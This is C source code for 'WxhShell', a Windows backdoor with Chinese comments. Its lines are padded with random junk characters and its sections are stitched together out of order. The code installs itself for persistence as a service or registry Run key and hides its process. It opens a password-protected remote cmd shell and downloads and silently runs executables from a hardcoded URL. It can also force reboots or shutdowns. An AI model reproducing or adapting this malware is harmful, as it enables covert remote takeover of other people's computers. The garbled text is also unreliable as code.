    if(Boot(SHUTDOWN)) 9JPEj-3`g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ocF>LR%P  
    else { jv =EheD  
    closesocket(wsh); !EOQhh  
    ExitThread(0); mQ}Gh_'ps  
    } kn}z gSO  
    break; o@9+mM"B)  
    } w?*z^y@  
  // 获取shell w$j{Hp6m  
  case 's': { DzC Df@TB"  
    CmdShell(wsh); II;Te7~  
    closesocket(wsh); ~.Cv DJy  
    ExitThread(0); @RGDhwS47  
    break; CbOCk:,g5  
  } GRT] aw  
  // 退出 3pSj kS|?>  
  case 'x': { */w7?QOv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ydQ!4  
    CloseIt(wsh); wiJRCH  
    break; 5 6DoO'  
    } qbiK^g R  
  // 离开 X4wH/q^  
  case 'q': { (WRMaI72(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,[isib3  
    closesocket(wsh); 6YmP[%  
    WSACleanup(); T|;@ T^  
    exit(1); {~N3D4n^  
    break; %<} <'V0  
        } fW(/Loh  
  } *KJB>W%@uM  
  } E9+HS  
sWHyL(C@  
  // 提示信息 KVR~jF%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <sX VW  
} K]/Od  
  } h/2/vBs  
rkDi+D6`q  
  return; {\G `]r-cM  
} "3fBY\>a  
Icx7.Y  
// shell模块句柄 mnjs(x<m  
int CmdShell(SOCKET sock) u5Up&QE!>q  
{ 2-dh;[4  
STARTUPINFO si; 3K>gz:dt  
ZeroMemory(&si,sizeof(si)); Vr=OYI'A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PD6_)PXn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; raE Mm  
PROCESS_INFORMATION ProcessInfo; 19c@`?  
char cmdline[]="cmd"; 2&he($HIzg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KjYAdia:H  
  return 0; ^m!_ 2_q  
} 1J{fXh  
<T+!V-Pj*  
// 自身启动模式 5\ hd4  
int StartFromService(void) =']3(6*  
{ #.._c?%4/  
typedef struct C\}/"  
{ lpgd#vr  
  DWORD ExitStatus; y('k`>C  
  DWORD PebBaseAddress; RWKH%C[Yd  
  DWORD AffinityMask; FhkkW W L  
  DWORD BasePriority; +G*JrwJ&=  
  ULONG UniqueProcessId; c_.-b=zm  
  ULONG InheritedFromUniqueProcessId; 9QwKakci  
}   PROCESS_BASIC_INFORMATION; mwC=o5O  
bsS:"/?>  
PROCNTQSIP NtQueryInformationProcess; SeEw.;Xw  
n~.*1. P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v2)g 1sXd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; < zOi4v0  
5Bjgr  
  HANDLE             hProcess; ;65D  
  PROCESS_BASIC_INFORMATION pbi; " 6CMA 0R  
KxzYfH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `~# < &w  
  if(NULL == hInst ) return 0; =*Z5!W'd  
4!.(|h@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,q#0hy%5/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]:ZdV9`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); upy\gkpnGO  
//f  
  if (!NtQueryInformationProcess) return 0; t2>fmQIQ  
7Nzbz3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VT%:zf  
  if(!hProcess) return 0; k; ZxY"^  
4x;_AN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ABh&X+YD  
!w39FfU{  
  CloseHandle(hProcess); x,n,Qlb  
~P .I<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IkPN?N  
if(hProcess==NULL) return 0; k*mt4~KLT8  
7zemr>sIh  
HMODULE hMod; W-efv  
char procName[255]; UUc8*yU)  
unsigned long cbNeeded; ?jx1R^  
p-GAe,2q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T;5r{{  
)%d*3\Tsd  
  CloseHandle(hProcess); ntVS:F  
vBcq_sbo  
if(strstr(procName,"services")) return 1; // 以服务启动 Pe;Y1Qq>>  
eE GfM0  
  return 0; // 注册表启动 vy9 w$ls  
} jszK7$]^  
-n80 &  
// 主模块 O@V%Cu  
int StartWxhshell(LPSTR lpCmdLine) r!PpUwod  
{ ^T::-pN*  
  SOCKET wsl; iBTYY{-wF  
BOOL val=TRUE; "A$!, PX6  
  int port=0; t. ='/`!N  
  struct sockaddr_in door; #S]ER907  
qOih`dla  
  if(wscfg.ws_autoins) Install(); ar9]"s+'  
)3Z ^h<"j  
port=atoi(lpCmdLine); Ej ".axjT  
W2FD+ wt  
if(port<=0) port=wscfg.ws_port; _tTNG2  
gKYfQ+  
  WSADATA data; "ZM4F?x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E_e6^Sk5B(  
. mLK`c6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f y:,_#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); myl+J;,]  
  door.sin_family = AF_INET; +Z M)bbB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qv,"($n\  
  door.sin_port = htons(port); y*pUlts<  
l*\y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0j"8@<  
closesocket(wsl); D=m 'pL/pl  
return 1; #P l~R  
} d)4 m6  
ydRC1~f0  
  if(listen(wsl,2) == INVALID_SOCKET) { 9l,a^@Y:  
closesocket(wsl); ?=m?jNa;nC  
return 1; tg]x0#@s  
} ~T&<CTh  
  Wxhshell(wsl); &0 >Loja`^  
  WSACleanup(); s7Ub@  
6f')6X'x  
return 0; "#[!/\=?:  
)M6w5g  
} Q8!) !r%  
$hivlI-7Ko  
// 以NT服务方式启动 4RSHZAJg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OQW#a[=WQ  
{ e/0<[s*#Q  
DWORD   status = 0; M`rl!Ci#  
  DWORD   specificError = 0xfffffff; 91 =OF*w  
TT =b79k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3s/H2f z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F a'k0/_j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T!Hb{Cg*  
  serviceStatus.dwWin32ExitCode     = 0; Og,$ sH}`  
  serviceStatus.dwServiceSpecificExitCode = 0; 3|.um_  
  serviceStatus.dwCheckPoint       = 0; \jOA+FU [  
  serviceStatus.dwWaitHint       = 0; bFe+m1Q_  
_?OW0x4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rE}%KsZ  
  if (hServiceStatusHandle==0) return; 1pArZzm>  
ZovW0Q)m  
status = GetLastError(); B!vmQR*1  
  if (status!=NO_ERROR)  IiY/(N+J  
{ +L7n<U3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $STaQ28C  
    serviceStatus.dwCheckPoint       = 0; 1P~X8=9h  
    serviceStatus.dwWaitHint       = 0; VeW>[08  
    serviceStatus.dwWin32ExitCode     = status; *:ZDd  
    serviceStatus.dwServiceSpecificExitCode = specificError; `s\?w5[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Yx4lWBR?  
    return; .Fdgb4>BXX  
  } :2 *g~6  
0q&<bV:D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F(tx)V ~T3  
  serviceStatus.dwCheckPoint       = 0; -r-k_6QP  
  serviceStatus.dwWaitHint       = 0; ^J$2?!~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R8ZK]5{o  
} spt6]"Ni  
rg^'S1x|  
// 处理NT服务事件,比如:启动、停止 e" St_z(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j'A_'g'^  
{ dBz/7&Q   
switch(fdwControl) 7=;R& mqC  
{ Z'"tB/=W  
case SERVICE_CONTROL_STOP: :]\([Q+a  
  serviceStatus.dwWin32ExitCode = 0; eEuvl`&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <StN%2WQ1  
  serviceStatus.dwCheckPoint   = 0; .&DhN#EN0  
  serviceStatus.dwWaitHint     = 0; 9I}-[|`u  
  { ,6-:VIHQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wk)OkIFR  
  } \O2Rhz  
  return;  #"@|f  
case SERVICE_CONTROL_PAUSE: *MKO I'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IZpP[hov  
  break; vEJWFoeEFm  
case SERVICE_CONTROL_CONTINUE: 03q 5e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; < jJ  
  break; OX\A|$GS  
case SERVICE_CONTROL_INTERROGATE: I}1NB3>^  
  break; wOU_*uY@6'  
}; f|\onHI)>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C{U?0!^  
} &5yV xL:  
H{Wu]C<@p  
// 标准应用程序主函数 A~)D[CV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &litXIvT>  
{ y*qVc E  
#d6)#:uss  
// 获取操作系统版本 { \81i8b]  
OsIsNt=GetOsVer(); o]4*|ARPs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ? m DI#~)  
E|iQc8gr&  
  // 从命令行安装 F(>Np2oi6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1*\o.  
LY%WD%pL  
  // 下载执行文件 ]n6#VTz*  
if(wscfg.ws_downexe) { ~E17L]ete  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6 (]Dh;gC  
  WinExec(wscfg.ws_filenam,SW_HIDE); _852H$H\  
} p{T*k'  
 y3@H/U{  
if(!OsIsNt) { s~^5kgPA  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;r<^a6B  
HideProc(); F1*>y  
StartWxhshell(lpCmdLine); ItNz}4o|d  
} X% t1 T4  
else IG2r#N|C#  
  if(StartFromService()) |fK1/<sz#  
  // 以服务方式启动 Te"ioU?.  
  StartServiceCtrlDispatcher(DispatchTable); GS$ifv  
else Tp/6,EE  
  // 普通方式启动 v[1aW v:  
  StartWxhshell(lpCmdLine); ! >FYK}c7  
G<65H+)M\  
return 0; >qnko9V  
} wW>A_{Y  
;U/&I3dzV  
ag [ZW  
*/`ki;\A  
=========================================== t}r ' k/[  
]d$8f  
^aItoJq  
0"<H;7K#W  
V?6a 8lJ  
oB(?_No7  
" ,Vc6Gwm  
Tp?7_}tRi  
#include <stdio.h> 6m}Ev95  
#include <string.h> rV` #[d  
#include <windows.h> J,'M4O\S  
#include <winsock2.h> 'j#*6xD  
#include <winsvc.h> A8muQuj]~~  
#include <urlmon.h> p|U?86 t  
&6/[B_.  
#pragma comment (lib, "Ws2_32.lib") 9+Np4i@  
#pragma comment (lib, "urlmon.lib") Cio 1E-4  
R@1xt@?  
#define MAX_USER   100 // 最大客户端连接数 luh$2 \5B  
#define BUF_SOCK   200 // sock buffer }T(D7|^R  
#define KEY_BUFF   255 // 输入 buffer UXJ eAE-  
&* M!lxDN  
#define REBOOT     0   // 重启 "q3ZWNS'w  
#define SHUTDOWN   1   // 关机 K@ I 9^b  
(S>C#A=E\  
#define DEF_PORT   5000 // 监听端口 ,0 M_ Bk"  
V(H1q`ao9  
#define REG_LEN     16   // 注册表键长度 )}Hpi<5N  
#define SVC_LEN     80   // NT服务名长度 B-*+r`@Bd  
Vh|*p&  
// 从dll定义API ^UP`%egR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &GpRI(OB/+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |mZxfI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p $S*dr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $0W|26;  
hNC&T`.-~B  
// wxhshell配置信息 g|o,uD  
struct WSCFG { qU \w=  
  int ws_port;         // 监听端口 ` 'DmDg  
  char ws_passstr[REG_LEN]; // 口令 5AFJC?   
  int ws_autoins;       // 安装标记, 1=yes 0=no k =>oO9`  
  char ws_regname[REG_LEN]; // 注册表键名 .Y tKS  
  char ws_svcname[REG_LEN]; // 服务名 4>wP7`/+y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R$R *'l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !z\h| wU+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \1k79c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8SMxw~9$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {5Q!Y&N.%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E^ B'4  
L^1NY3=$  
}; ( >LF(ll  
?tWaI{95I  
// default Wxhshell configuration 1KU! tL  
struct WSCFG wscfg={DEF_PORT, )v'WWwXY>  
    "xuhuanlingzhe", l0|5t)jF-  
    1, yl'u'-Zb6  
    "Wxhshell", Ki;*u_4{  
    "Wxhshell", g_;\iqxL  
            "WxhShell Service", /J]5H  
    "Wrsky Windows CmdShell Service", jk;j2YNPw  
    "Please Input Your Password: ", P0;n9>g  
  1, %Hu5K>ZNYp  
  "http://www.wrsky.com/wxhshell.exe", p?02C# p  
  "Wxhshell.exe" 2R[:]-b  
    }; aS>u,=C  
K%t*8 4j  
// 消息定义模块 Kew@&j~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]=\].% >  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H%[eV8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C"y(5U)d  
char *msg_ws_ext="\n\rExit."; dn& s*  
char *msg_ws_end="\n\rQuit.";  {y)=eX9  
char *msg_ws_boot="\n\rReboot...";  CT&|QH{  
char *msg_ws_poff="\n\rShutdown..."; b!+hH Hv:  
char *msg_ws_down="\n\rSave to "; -M\<nx  
4j-Xi  
char *msg_ws_err="\n\rErr!"; x[cL Bc<  
char *msg_ws_ok="\n\rOK!"; n'"/KS+_  
zrvF]|1UP  
char ExeFile[MAX_PATH]; AzPu)  
int nUser = 0; QFA8N  
HANDLE handles[MAX_USER]; T~-ycVc  
int OsIsNt; ,<.V7(|t)  
_5w]a 2  
SERVICE_STATUS       serviceStatus; D ;RiGW4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9[#pIPxNK  
|NlO7aQ>2H  
// 函数声明 ~?l | [  
int Install(void); zOJ%}  
int Uninstall(void); )7hqJa-V  
int DownloadFile(char *sURL, SOCKET wsh); Xu{1".\  
int Boot(int flag); z[ N`s$;  
void HideProc(void); =0 #O U  
int GetOsVer(void); ::`HQ@^  
int Wxhshell(SOCKET wsl); 9p]QM)M  
void TalkWithClient(void *cs); HVRZ[Y<^  
int CmdShell(SOCKET sock); Usvl}{L[  
int StartFromService(void); d z|or9&  
int StartWxhshell(LPSTR lpCmdLine); 28-RC>,@}  
{$oj.V 4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <NMEGit  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b 1c y$I  
#`^}PuQ  
// 数据结构和表定义 )+#` CIv  
SERVICE_TABLE_ENTRY DispatchTable[] = ]U+ LJOb  
{ juJklSD  
{wscfg.ws_svcname, NTServiceMain}, {FI&^39 F$  
{NULL, NULL} cTifC1Pf  
}; "69s) ~  
=F|{# F  
// 自我安装 /'SNw?&  
int Install(void) R*, MfV  
{ @NR>{Eg  
  char svExeFile[MAX_PATH]; . '6gZKXY  
  HKEY key; 7g^]:3f!   
  strcpy(svExeFile,ExeFile); =nHUs1rKn  
Lj({[H7D!  
// 如果是win9x系统,修改注册表设为自启动 PI {bmZ  
if(!OsIsNt) { RU|Q ]Ymx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ./Xz}<($8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ROI7eU  
  RegCloseKey(key); ijv(9mR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xo^b&ktQd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2DA]i5  
  RegCloseKey(key); RH W]Z Pr<  
  return 0; AI2)g1m  
    } <sbu;dQ`  
  } )$2QZ qX  
} HZE#Ab*L  
else {  }FROB/  
r `=I  
// 如果是NT以上系统,安装为系统服务 '@v\{ l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SO/c}vnBB  
if (schSCManager!=0) AYBns]!  
{ #^0R&) T  
  SC_HANDLE schService = CreateService VD*6g%p  
  ( x8 2cT21b  
  schSCManager, h'llK6_)  
  wscfg.ws_svcname, 9c bd~mM{  
  wscfg.ws_svcdisp, h,:m~0gmj  
  SERVICE_ALL_ACCESS, ]h`&&Bqt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .vf'YNQ%  
  SERVICE_AUTO_START, mY|)KJ  
  SERVICE_ERROR_NORMAL, P}}* Q7P  
  svExeFile, l:~/<`o  
  NULL, J3V= 46Yc  
  NULL, fUWG*o9  
  NULL, /xBb[44z8  
  NULL, h8q[1"a:  
  NULL dlh)gp;  
  ); 6GlJ>r+n  
  if (schService!=0) 8Al{+gx@?  
  { v4TQX<0s  
  CloseServiceHandle(schService); ?FZ HrA  
  CloseServiceHandle(schSCManager); l'rja.\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P= BZ+6DS  
  strcat(svExeFile,wscfg.ws_svcname); EU 6oQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U+jOTq8M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e*kpdS~U&  
  RegCloseKey(key); e(&v"}Ef`  
  return 0; Pbn*_/H  
    }  \!X8   
  } VBlYvZ;$*  
  CloseServiceHandle(schSCManager); t.y2ff<[U  
} H7Rx>h_  
} ?=msH=N<l  
! I:%0D  
return 1; q[_Vu A]&  
} M] %?>G  
KK4`l}Fk:n  
// 自我卸载 O`kl\K*R7  
int Uninstall(void) 3*XNV  
{ }"H,h)T  
  HKEY key; R%WCH?B<}  
yxQ1`'[CR  
if(!OsIsNt) { hh%-(HaLX3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B"w?;EeV.  
  RegDeleteValue(key,wscfg.ws_regname); a5^] 20Fa  
  RegCloseKey(key); sE<V5`Z=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 79j+vH!zh  
  RegDeleteValue(key,wscfg.ws_regname); $rBq"u=,0+  
  RegCloseKey(key); Pj^{|U21  
  return 0; 05#1w#i  
  } PdFKs+Z`  
} F,F4nw<W  
} 2,oKVm+  
else { ?=7 cF  
2zA4vZkbcw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s c,Hq\$&  
if (schSCManager!=0) 4Z=_,#h4.  
{ (,\+tr8r8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `?rSlR@+[I  
  if (schService!=0) U}[d_f  
  { NNR`!Pty  
  if(DeleteService(schService)!=0) { |s(FLF-  
  CloseServiceHandle(schService); HWrO"b*tO  
  CloseServiceHandle(schSCManager); {]!mrAjD  
  return 0; i# /Jr=  
  } {4}yKjW%z  
  CloseServiceHandle(schService); pj{`'; :g  
  } =ho}oL,ZO  
  CloseServiceHandle(schSCManager); wssRA?9<  
} n)-$e4u2  
} {6|G@ ""O  
On:il$MU  
return 1; u%KTNa0  
} D/xbF`  
TER=*"!  
// 从指定url下载文件 (t K||*u  
int DownloadFile(char *sURL, SOCKET wsh) 3S@7]Pg  
{ x /S}Q8!"}  
  HRESULT hr; }'V5/>m[  
char seps[]= "/"; [PM 2\#K  
char *token; (Z q/  
char *file; jD]~ AwRJ  
char myURL[MAX_PATH]; N^G Mp,8  
char myFILE[MAX_PATH]; IqHV)A  
x"=f+Mr  
strcpy(myURL,sURL); wk D^r(hiH  
  token=strtok(myURL,seps); r'r%w#=`t  
  while(token!=NULL) :{v#'U/^  
  { 4jM Fr,  
    file=token; 6:5I26  
  token=strtok(NULL,seps); (zYt NLoFx  
  } {X+3;&@  
mHTXni<!  
GetCurrentDirectory(MAX_PATH,myFILE); %P/Jq#FE .  
strcat(myFILE, "\\"); S(l O(gY  
strcat(myFILE, file); )p0^zv{  
  send(wsh,myFILE,strlen(myFILE),0); l`{\"#4  
send(wsh,"...",3,0); CS5?Ti6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IB"w&sBy  
  if(hr==S_OK) L(<*)No  
return 0; #e1>H1eU  
else z&)A,ryW0  
return 1; OA1uY83"  
zpZm&WC  
} U^%Q}'UYym  
jl$ece5v  
// 系统电源模块 A]0 St@  
int Boot(int flag) K~{$oD7!  
{ AaOu L,l  
  HANDLE hToken; F?*-4I-  
  TOKEN_PRIVILEGES tkp; :yr+vcD?  
e0zq1XcZ  
  if(OsIsNt) { wLH>:yKUU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~O0 $Suv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y/{fX(aV  
    tkp.PrivilegeCount = 1; wC+u73599  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZR B)uA)5=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nI-w}NQ  
if(flag==REBOOT) { H3 ^},.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n8 i] z  
  return 0; SiRaFj4s"  
} KIf dafRL  
else { gMmaK0uhS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kk@fL  
  return 0; SCHP L.n  
} vn!3l1\+J  
  } 5h-SCB>P  
  else { Tod&&T'UW  
if(flag==REBOOT) { O)*+="Rg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BC#C9|n  
  return 0; xp)sBM7A  
} T{.pM4Hd  
else { ?m}s4a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3>AMII  
  return 0; /{aj}M0kN  
} `l ^9/_g'6  
} L-WT]&n_  
m@2QnA[ 4  
return 1; Smn;(K  
} A@[o;H}XP  
@ $ ;q ;  
// win9x进程隐藏模块 hHGoP0/o  
void HideProc(void) U0y%u  
{ Eu d*_>|  
%KhI>O<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ys!82M$g  
  if ( hKernel != NULL ) X ::JV7hu  
  { E)5\i-n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *20jz<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  EoR}Af  
    FreeLibrary(hKernel); IqaT?+O\?r  
  } {yHCXFWlS  
XK3tgaH  
return; v\gLWq'  
} Bi3<7  
rNWw?_H-H(  
// 获取操作系统版本 $oID(P  
int GetOsVer(void) *xxx:*6rk;  
{ KE5kOU;  
  OSVERSIONINFO winfo; *=/ { HvJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p Z|V 3  
  GetVersionEx(&winfo); x_N'TjS^{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x;P_1J%Q  
  return 1; RUnSCOdX  
  else _?m(V=z>  
  return 0; Eex~xiiV  
} x:NY\._  
0WW2i{7`U  
// 客户端句柄模块 z,[Hli*0  
int Wxhshell(SOCKET wsl) ICx#{q@f,  
{ QC OM_$y  
  SOCKET wsh; {tuYs:  
  struct sockaddr_in client; .Ni\\  
  DWORD myID; 2 /\r)$ 2i  
ArI2wM/v  
  while(nUser<MAX_USER) ~F|+o}a `  
{ BQE|8g'&T  
  int nSize=sizeof(client); l|JE#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'j8:vq^d  
  if(wsh==INVALID_SOCKET) return 1; u"cV%(#  
*eTqVG.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 58tARLDr  
if(handles[nUser]==0) *k(XW_>  
  closesocket(wsh); y*jp79G  
else jjB~G^n  
  nUser++; m<T%Rb4?@  
  } O~#!l"0 L+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `!;_ho  
gZ3u=uME  
  return 0; Xv5wJlc!d  
} D[[|")Fn  
Pe_W;q.  
// 关闭 socket by1<[$8r  
void CloseIt(SOCKET wsh) Olt?~}  
{ `_Zg3_K.dS  
closesocket(wsh); M>xK+q?O  
nUser--; B:yGS*.tu  
ExitThread(0); ;s= l52  
} J@HtoTDO3  
Q2w_X8  
// 客户端请求句柄 -n~1C {<  
void TalkWithClient(void *cs) 5,lEx1{_  
{ hP%M?MKC  
y{B=-\O]  
  SOCKET wsh=(SOCKET)cs; e\`&p  
  char pwd[SVC_LEN]; T9E+\D  
  char cmd[KEY_BUFF]; Tj` ,Z5vy  
char chr[1]; w,p PYf/t  
int i,j; >-RQ]?^  
~OYiq}g  
  while (nUser < MAX_USER) { x*\Y)9Vgy  
}#RakV4  
if(wscfg.ws_passstr) { zOAd~E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %8B}Cb&2c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A7Cm5>Y_S  
  //ZeroMemory(pwd,KEY_BUFF); kYP#SH/  
      i=0; CAig ]=2'  
  while(i<SVC_LEN) { :S{BbQ){]  
!OhC/f(GBZ  
  // 设置超时 R6<X%*&%  
  fd_set FdRead; \_VA 50  
  struct timeval TimeOut; h ohfE3rd  
  FD_ZERO(&FdRead); $lfn(b,  
  FD_SET(wsh,&FdRead); $ZhF h{DQ.  
  TimeOut.tv_sec=8; b4%??"&<Y  
  TimeOut.tv_usec=0; !3c\NbU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1Z/(G1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a{'vN93  
@ p9i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Yh+c=6 ?  
  pwd=chr[0]; gS!:+G%  
  if(chr[0]==0xd || chr[0]==0xa) { t9GR69v:?  
  pwd=0; @muRxi  
  break; ehGLk7@7&  
  } HYD'.uj  
  i++; B-Ll{k^  
    } s0TORl6Z|  
:%_LpZ  
  // 如果是非法用户,关闭 socket g{]0sn#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8rAg \H3E  
} ,\W 8b-Z  
-lr vKrt7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]!W=^!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A_"w^E{P  
&)# ihK_  
while(1) { niMsQ  
/e5O"@  
  ZeroMemory(cmd,KEY_BUFF); :[.vM  
IEL%!RFG  
      // 自动支持客户端 telnet标准   6fE7W>la  
  j=0; [t m_Mg  
  while(j<KEY_BUFF) { .Bl\Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XFVE>/H  
  cmd[j]=chr[0]; K C*e/J  
  if(chr[0]==0xa || chr[0]==0xd) { v|)4ocFK  
  cmd[j]=0; 1W c=5!  
  break; nK1Slg#U  
  } >mbHy<<  
  j++; a Yg6H2Un  
    } 1sy[ @Q2b  
G{As,`{  
  // 下载文件 ih-#5M@  
  if(strstr(cmd,"http://")) { gMi0FO'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); //up5R_nx  
  if(DownloadFile(cmd,wsh)) kYE9M8s;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <`8n^m*  
  else { T/[cu<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T= 80,  
  } Fk&c=V;SU  
  else { \Gef \   
Y,qI@n<  
